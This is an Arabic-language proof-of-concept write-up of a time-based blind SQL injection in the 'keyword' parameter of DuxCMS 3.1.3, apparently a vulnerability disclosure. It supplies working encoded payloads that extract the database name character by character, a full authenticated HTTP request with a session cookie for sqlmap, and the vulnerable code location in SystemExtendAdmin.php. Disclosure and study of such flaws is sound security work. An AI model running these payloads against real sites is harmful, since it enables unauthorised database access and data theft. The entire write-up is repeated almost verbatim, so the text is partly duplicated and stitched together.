
استغلال إثبات المفهوم لثغرة حقن SQL أعمى قائمة على الوقت في DuxCMS3.1.3، يستهدف معلمة 'keyword' مع طلبات مصادقة وتكامل sqlmap.
رابط المشروع: ****
الأعمال التحضيرية:
سجّل الدخول إلى الخلفية - احصل على الكوكيز.
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
معامل الثغرة: keyword
الحمولة (payload): %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
إذا نجح الحقن، يكون التأخير أكثر من ثانية واحدة، وإلا فلا يوجد تأخير.

التحقق باستخدام sqlmap:
يتطلب وجود كوكيز.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


تم بنجاح الحصول على اسم قاعدة البيانات المستخدمة حالياً. هذه الثغرة موجودة.
يمكن تحديد موقع الاستدعاء عن طريق البحث من معامل الحقن: keyword.
app/system/admin/SystemExtendAdmin.php
السطر: 42.

يتم استخدام like للمطابقة الضبابية دون تنقية $value، مما يؤدي إلى ظهور الثغرة عند إدخاله في الاستعلام.
عند إدخال: and(select*from(select sleep(3))a//union//select 1)=

كما هو موضح في الشكل أعلاه: يتم الحصول على معامل $value من طلب request في السطر 29: $pageParams = request(); ثم في السطر 32 يتم فك ترميز $pageParams[$key] باستخدام urldecode() لنحصل على عبارة SQL الخبيثة. لا توجد إجراءات دفاعية.
لذلك تم لصق الحمولة (payload) مباشرة.

بعد التنفيذ، تكون عبارة SQL الكاملة:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')
الأعمال التحضيرية:
سجّل الدخول إلى الخلفية - احصل على الكوكيز.
معامل الثغرة: keyword
الحمولة (payload): %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
إذا نجح الحقن، يكون التأخير أكثر من ثانية واحدة، وإلا فلا يوجد تأخير.

التحقق باستخدام sqlmap:
مطلوب كوكيز.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


تم بنجاح الحصول على اسم قاعدة البيانات المستخدمة حالياً.
هذه الثغرة موجودة.
يمكن تحديد موقع الاستدعاء عن طريق البحث من معامل الحقن: keyword.
app/system/admin/SystemExtendAdmin.php.
السطر 42.

توجد ثغرة في الاستعلام لأنه يستخدم like للمطابقة الضبابية ولا يقوم بتنقية $value.
عند إدخال: and (select*from (select sleep (3)) a//union//select 1) =

كما هو موضح في الشكل أعلاه: يتم الحصول على معامل $value من السطر 29: $pageParams = request(); ثم في السطر 32 يتم فك ترميز $pageParams[$key] باستخدام urldecode() لنحصل على عبارة SQL الخبيثة.
لا توجد دفاعات.
لذلك يتم لصق الحمولة (payload) مباشرة.

بعد التنفيذ، تكون عبارة SQL الكاملة:
(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')